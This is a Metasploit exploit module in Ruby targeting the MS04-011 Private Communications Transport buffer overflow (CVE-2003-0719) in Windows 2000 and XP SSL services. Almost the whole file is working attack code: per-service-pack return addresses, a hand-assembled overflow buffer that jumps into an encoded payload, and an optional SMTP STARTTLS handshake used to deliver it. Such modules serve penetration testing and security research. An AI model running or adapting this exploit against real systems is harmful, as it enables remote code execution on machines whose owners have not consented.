##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft Private Communications Transport Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in the Microsoft
        Windows SSL PCT protocol stack. This code is based on Johnny
        Cyberpunk's THC release and has been tested against Windows
        2000 and Windows XP. To use this module, specify the remote
        port of any SSL service, or the port and protocol of an
        application that uses SSL. The only application protocol
        supported at this time is SMTP. You only have one chance to
        select the correct target, if you are attacking IIS, you may
        want to try one of the other exploits first (WebDAV). If
        WebDAV does not work, this more than likely means that this
        is either Windows 2000 SP4+ or Windows XP (IIS 5.0 vs IIS
        5.1). Using the wrong target may not result in an immediate
        crash of the remote system.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2003-0719'],
          [ 'OSVDB', '5250'],
          [ 'BID', '10116'],
          [ 'MSB', 'MS04-011'],

        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 1800,
          'BadChars' => "",
          'StackAdjustment' => -3500,
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [
            'Windows 2000 SP4',
            {
              'Platform' => 'win',
              'Ret'      => 0x67419ce8, # jmp [esp + 0x6c]
            },
          ],
          [
            'Windows 2000 SP3',
            {
              'Platform' => 'win',
              'Ret'      => 0x67419e1d, # jmp [esp + 0x6c]
            },
          ],
          [
            'Windows 2000 SP2',
            {
              'Platform' => 'win',
              'Ret'      => 0x6741a426, # jmp [esp + 0x6c]
            },
          ],
          [
            'Windows 2000 SP1',
            {
              'Platform' => 'win',
              'Ret'      => 0x77e4f44d, # jmp [ebx + 0x14]
            },
          ],
          [
            'Windows 2000 SP0',
            {
              'Platform' => 'win',
              'Ret'      => 0x7658a6cb, # jmp [ebx + 0x0e]
            },
          ],
          [
            'Windows XP SP0',
            {
              'Platform' => 'win',
              'Ret'      => 0x0ffb7de9, # jmp [esp + 0x6c]
            },
          ],
          [
            'Windows XP SP1',
            {
              'Platform' => 'win',
              'Ret'      => 0x0ffb832f, # jmp [esp + 0x6c]
            },
          ],
        ],
      'DisclosureDate' => 'Apr 13 2004',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('PROTO', [true, "The application protocol: raw or smtp", "raw"])
      ], self.class)
  end

  def exploit
    connect

    print_status("Trying target #{target.name} with proto #{datastore['PROTO']}...")

    # This is a heap ptr to the ssl request
    # ... and just happens to not die ...
    # Thanks to CORE and Halvar
    #
    #   80620101     =>  and byte ptr [esi+1], 0x2
    #   bd00010001   =>  mov ebp, 0x1000100
    #   0016         =>  add [esi], dl
    #   8f8201000000 =>  pop [esi+1]
    #   eb0f         =>  jmp short 11 to shellcode

    buf = "\x80\x66\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x86\x01\x00\x00\x00"+
      "\xeb\x0f" + 'XXXXXXXXXXX' +
      [target.ret ^ 0xffffffff].pack('V')+
      payload.encoded

    # Connect to a SMTP service, call STARTTLS
    if (datastore['PROTO'] == 'smtp')
      greeting = sock.get_once

      sock.put('HELO ' + (rand_text_alphanumeric(rand(10)+1)) + "\r\n")
      resp = sock.get_once

      sock.put("STARTTLS\r\n")
      resp = sock.get_once

      if (resp and resp !~ /^220/)
        print_warning("Warning: this server may not support STARTTLS")
      end

    end

    sock.put(buf)
    resp = sock.get_once

    if (resp == "\x00\x00\x01")
      print_status("The response indicates that the PCT protocol is disabled")
    end

    handler
    disconnect
  end

end